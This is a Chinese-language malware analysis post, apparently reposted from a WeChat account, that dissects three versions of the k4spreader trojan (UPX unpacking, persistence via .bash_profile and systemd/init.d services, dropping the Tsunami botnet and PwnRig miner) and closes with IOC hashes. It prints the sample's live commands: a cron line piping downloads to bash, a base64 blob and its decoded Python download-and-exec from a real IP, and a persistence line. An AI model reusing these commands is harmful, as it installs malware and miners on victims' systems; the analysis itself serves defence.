k4spreader木马详细分析–国内大量企业和单位被感染

文章首发地址:
https://xz.aliyun.com/t/14948
文章首发作者:
1303919416609046

概述

近日,笔者在浏览微博的时候,无意间发现XX大佬发了一条微博,微博中贴了一张图,图中展示了部分被k4spreader木马感染的国内企业和单位列表(近50余家),好奇心驱使,笔者就简单跟进了一下此事件,发现此事件也是最近才被奇安信X实验室曝光,相关事件报告为《8220挖矿团伙的新玩具:k4spreader》。通过详细的对事件报告进行研读,笔者也基本清楚了整个事件的攻击链路,同时笔者也尝试基于报告中的Hash信息下载了对应的样本进行分析,通过分析对比,笔者发现,此事件报告主要是从宏观角度进行的技术分享,并未对每个样本里面的技术手法细节进行分享。因此,笔者在这里就将自己的样本分析过程分享出来,供大家学习交流。

相关微博截图如下:

k4spreader木马详细分析--国内大量企业和单位被感染

微博上关于被感染企业和单位的截图如下:

k4spreader木马详细分析--国内大量企业和单位被感染

v1版本样本

单层UPX加壳

查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

k4spreader木马详细分析--国内大量企业和单位被感染

大量k4spreader字符串

使用IDA对此样本进行反编译,发现此样本是由Golang语言编写,反编译后的函数名包含k4spreader字符串。

k4spreader木马详细分析--国内大量企业和单位被感染

文件锁

尝试动态运行此样本,发现此样本的入口函数为main_main(),样本运行后,将通过文件锁的方式确保系统中只运行一个木马实例。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

具体功能实现函数为:main_checkLockFilesAndRun,运行后将调用开源https://github.com/gofrs/flock库的功能,在/tmp/目录中创建.klibsystem4.lock隐藏文件,此文件中将存放当前进程PID信息。

k4spreader木马详细分析--国内大量企业和单位被感染

代码运行过程中,将使用syscall指令触发系统调用。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

执行回显

样本运行过程中,将打印字符串信息Securedn

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

自我复制

样本运行过程中,将通过调用k4spreader_utils_SelfReplicate函数实现自我复制。

获取当前进程的有效用户ID

样本将使用syscall指令触发getuid函数调用,获取当前进程的有效用户ID,然后根据用户ID选择不同自我复制方式:

  • root用户:返回0,调用k4spreader_utils_SetupAndStartKnlibService函数、k4spreader_utils_CreateSystemService函数
  • 非root用户:返回非0,调用k4spreader_utils_AddLineToBashProfile函数

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

修改bash

调用k4spreader_utils_AddLineToBashProfile函数实现自我复制,在用户目录下的.bash_profile文件(.bash_profile文件在用户登录时被执行,其主要作用是配置和初始化用户的命令行环境,以及提供一个自定义和控制登录行为的地方)中添加字符串,字符串内容为:

cp -f -r --  /bin/klibsystem4 2>/dev/null && /bin/klibsystem4 >/dev/null 2>&1 && rm -rf -- /bin/klibsystem4 2>/dev/null

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

添加系统服务

通过调用k4spreader_utils_SetupAndStartKnlibService函数,创建/etc/init.d/knlib文件以实现添加系统服务的功能。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

通过调用k4spreader_utils_CreateSystemService函数,创建/etc/systemd/system/knlibe.service文件以实现添加系统服务的功能。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

复制自身至/bin/knlib

将当前样本复制至/bin/knlib路径,便于相关系统服务调用。

k4spreader木马详细分析--国内大量企业和单位被感染

执行go协程

执行完前序持久化驻留代码后,样本将创建go协程,用于执行恶意功能。

k4spreader木马详细分析--国内大量企业和单位被感染

创建计划任务

通过调用k4spreader_utils_MakeCron函数,实现如下操作:

  • 调用k4spreader_utils_GetDownloadRoute函数外联获取2.gif载荷下载地址;「(笔者推测的,若有误,欢迎指出)」

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

  • 字符串拼接;指令功能:每10分钟执行一次外联下载2.gif、d.py;
echo '*/10 * * ** (curl -s %s/2.gif || wget -q -O - %s/2.gif ||lwp-download %s/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn | base64 -d| bash' | crontab -
cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn

#base64解码
python -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146:443/d.py").read())' || python2 -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146/d.py").read())'
  • 执行指令,以实现创建计划任务;

k4spreader木马详细分析--国内大量企业和单位被感染

释放并运行文件

通过调用k4spreader_utils_ExecuteEmbeddedBin函数,实现从自身释放bi.64和bin.64文件,释放的文件为Tsunami僵尸网络和PwnRig挖矿病毒。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

运行释放文件后,样本将删除释放文件。

k4spreader木马详细分析--国内大量企业和单位被感染

外联下载

若释放文件失败,则样本将外联下载Tsunami僵尸网络和PwnRig挖矿病毒程序。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

v2版本样本

单层UPX加壳

查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

k4spreader木马详细分析--国内大量企业和单位被感染

防火墙指令

此样本运行后,将执行命令,执行关闭防火墙等操作。

k4spreader木马详细分析--国内大量企业和单位被感染

v3版本样本

第一层UPX加壳

查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d 命令即可对此样本做脱壳处理。

k4spreader木马详细分析--国内大量企业和单位被感染

释放文件

对脱壳的样本进行分析,发现此样本的反编译代码并非k4spreader木马代码;进一步分析,发现此样本运行后,将在/tmp/目录释放文件。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

第二层UPX加壳

查壳发现释放文件也被UPX加壳处理,再次脱壳后分析,发现此样本即为k4spreader v3版本样本。

k4spreader木马详细分析--国内大量企业和单位被感染

k4spreader木马详细分析--国内大量企业和单位被感染

相关IOC

7bade55726a3a6e86d809836d1bc43f4f7702ecde9ceed80a09876c2efeff8d4 - v1
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712 - v2
0897b1d3e3e453c160bf8d28a041eee3bd29e43a6f063faed7d3cb83a86b88cc - v2
a980b1b0387534da7c9a321f7d450c02087f7a8445fc86b77785da0c510bbaa8 - v2
31fd924b9a5747befdf61c03b02c90d3c2ba93c8e1a9f798e6dfefe23767e1ae - v3
20d08d27631ae9bab8f3cb7cddd9b35fb75e5bee5764072f77ac3b4513307838 - v3


原文始发于微信公众号(T0daySeeker):k4spreader木马详细分析–国内大量企业和单位被感染

版权声明:admin 发表于 2024年6月28日 下午5:31。
转载请注明:k4spreader木马详细分析–国内大量企业和单位被感染 | CTF导航

相关文章